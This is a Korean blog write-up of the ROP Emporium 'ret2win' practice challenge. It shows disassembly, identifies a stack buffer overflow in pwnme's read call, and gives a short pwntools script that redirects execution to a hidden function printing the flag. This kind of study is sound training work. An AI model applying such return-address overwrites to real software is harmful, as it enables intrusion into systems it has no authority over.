728x90
반응형
1. intro
2. code 및 분석
2.1. code
main
0x0000000000400697 <+0>: push %rbp
0x0000000000400698 <+1>: mov %rsp,%rbp
0x000000000040069b <+4>: mov 0x2009b6(%rip),%rax # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov $0x0,%ecx
0x00000000004006a7 <+16>: mov $0x2,%edx
0x00000000004006ac <+21>: mov $0x0,%esi
0x00000000004006b1 <+26>: mov %rax,%rdi
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov $0x400808,%edi
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov $0x400820,%edi
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov $0x0,%eax
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov $0x400828,%edi
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov $0x0,%eax
0x00000000004006e6 <+79>: pop %rbp
0x00000000004006e7 <+80>: ret
pwnme
0x00000000004006e8 <+0>: push %rbp
0x00000000004006e9 <+1>: mov %rsp,%rbp
0x00000000004006ec <+4>: sub $0x20,%rsp
0x00000000004006f0 <+8>: lea -0x20(%rbp),%rax
0x00000000004006f4 <+12>: mov $0x20,%edx
0x00000000004006f9 <+17>: mov $0x0,%esi
0x00000000004006fe <+22>: mov %rax,%rdi
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov $0x400838,%edi
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov $0x400898,%edi
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov $0x4008b8,%edi
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov $0x400918,%edi
0x0000000000400729 <+65>: mov $0x0,%eax
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea -0x20(%rbp),%rax
0x0000000000400737 <+79>: mov $0x38,%edx
0x000000000040073c <+84>: mov %rax,%rsi
0x000000000040073f <+87>: mov $0x0,%edi
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov $0x40091b,%edi
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
2.2. 분석
회사에선 ida 사용이 불가하기에 (물론 ghidra를 써도 되지만) 그냥 어셈블리어로 분석하고 진행해보았다.
main에서는 pwnme 함수를 호출하는 기능만 있다.
pwnme에서는 read 함수로 입력을 받는데, 오버플로우가 발생한다.
더불어 숨겨진 함수로 ret2win 함수가 있으며 /bin/cat flag.txt를 실행해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
단순 buffer overflow 문제이며, pwnme 함수의 ret address 조작이 가능하기에 ret2win 함수를 호출할 수 있다.
사실 문제를 보자마자 그냥 ret2win 함수 주소로 죄다 때려박을까 하다가 예의상 오프셋을 살짝만 구해봤다.
4. exploit
from pwn import *
p = process('./ret2win')
pay = p64(0) * 5
pay += p64(0x400755)
pay += p64(0x0000000000400756)
p.sendlineafter(b'> ',pay)
p.interactive()
728x90
반응형
'Wargame > ROP Emporium' 카테고리의 다른 글
fluff (0) | 2023.07.07 |
---|---|
badchar (0) | 2023.07.07 |
write4 (0) | 2023.07.07 |
callme (0) | 2023.07.07 |
split (0) | 2023.07.07 |